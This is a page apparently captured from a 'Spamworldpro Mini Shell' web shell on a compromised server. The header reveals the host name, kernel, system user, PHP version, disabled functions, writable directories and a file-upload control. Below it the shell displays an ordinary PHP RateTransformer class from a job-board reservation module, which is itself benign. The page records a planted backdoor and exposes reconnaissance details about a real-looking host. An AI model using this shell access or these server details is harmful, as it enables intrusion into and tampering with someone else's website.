Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Reservation/Transformers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Reservation/Transformers/RateTransformer.php
<?php

namespace Corals\Modules\Reservation\Transformers;

use Corals\Foundation\Transformers\BaseTransformer;
use Corals\Modules\Reservation\Models\Rate;

class RateTransformer extends BaseTransformer
{
    public function __construct($extras = [])
    {
        $this->resource_url = config('reservation.models.rate.resource_url');

        parent::__construct($extras);
    }

    /**
     * @param Rate $rate
     * @return array
     * @throws \Throwable
     */
    public function transform(Rate $rate)
    {

        $transformedArray = [
            'id' => $rate->id,
            'code' => HtmlElement('a', ['href' => $rate->getShowURL()], $rate->code),
            'rate_value' => number_format($rate->rate_value, 2),
            'start_date' => format_date($rate->start_date),
            'end_date' => format_date($rate->end_date),
            'classification' => $rate->classification ?? '-',
            'line_item_id' => $rate->lineItem->present('name'),
            'status' => formatStatusAsLabels($rate->status),
            'description' => $rate->description ?? '-',
            'created_at' => format_date($rate->created_at),
            'updated_at' => format_date($rate->updated_at),
            'action' => $this->actions($rate)
        ];

        return parent::transformResponse($transformedArray);
    }
}

Spamworldpro Mini